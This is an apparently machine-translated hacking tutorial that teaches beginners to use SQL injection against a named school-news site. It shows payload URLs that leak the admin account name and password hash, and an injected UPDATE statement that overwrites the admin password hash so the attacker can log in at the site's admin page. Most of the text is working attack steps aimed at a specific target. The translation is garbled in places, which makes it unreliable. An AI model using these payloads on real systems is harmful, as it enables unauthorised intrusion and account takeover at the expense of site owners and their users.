SQL Injection to modify the hard-to-guess MD5

Original starter: hacker alert line Author: Xiaoli

Search for the MD5 cracking website online. However, some MD5 passwords are very biased, so some new users will give up. I will introduce a method for beginners to easily modify the MD5 password that is difficult to guess.

Attackers who often intrude into the system will ignore this issue ..

Any address: http://www.dtedu.org/news.asp? Id = 121

Enter single quotation marks after the address to display

Microsoft ole db Provider for SQL Server Error '80040e14'

There are unclosed quotation marks before the string '''

/News/wantpws. asp, row 63

It indicates that the single quotes are not filtered and the database is MSSQL.

And 1 = 1 error. And 1 = 2 is normal.
 
Enter

Asp? Http://www.dtedu.org/news.asp? Id = 1 or admin_user in (select id from admin)

The account is admin.

Http://www.dtedu.org/news.asp? Id = 121 or admin_password in (select id from admin)

The obtained password is a4716077c2ba075c.

Next we can change the password. But we previously wanted to know our encrypted character: e8dc763194f29433

Type:

; Update shop_admin set password = 'e8dc763194f29433 'where password = 'a4716077c2ba075c '--

This statement replaces a4716077c2ba075c with e8dc763194f29433 to change the password.

Sweep the background for: http://www.dtedu.org/admin/admin_login.asp

Log on to the account and password we have modified ., But sometimes it cannot be injected. It depends on continuous practices to find out the rules.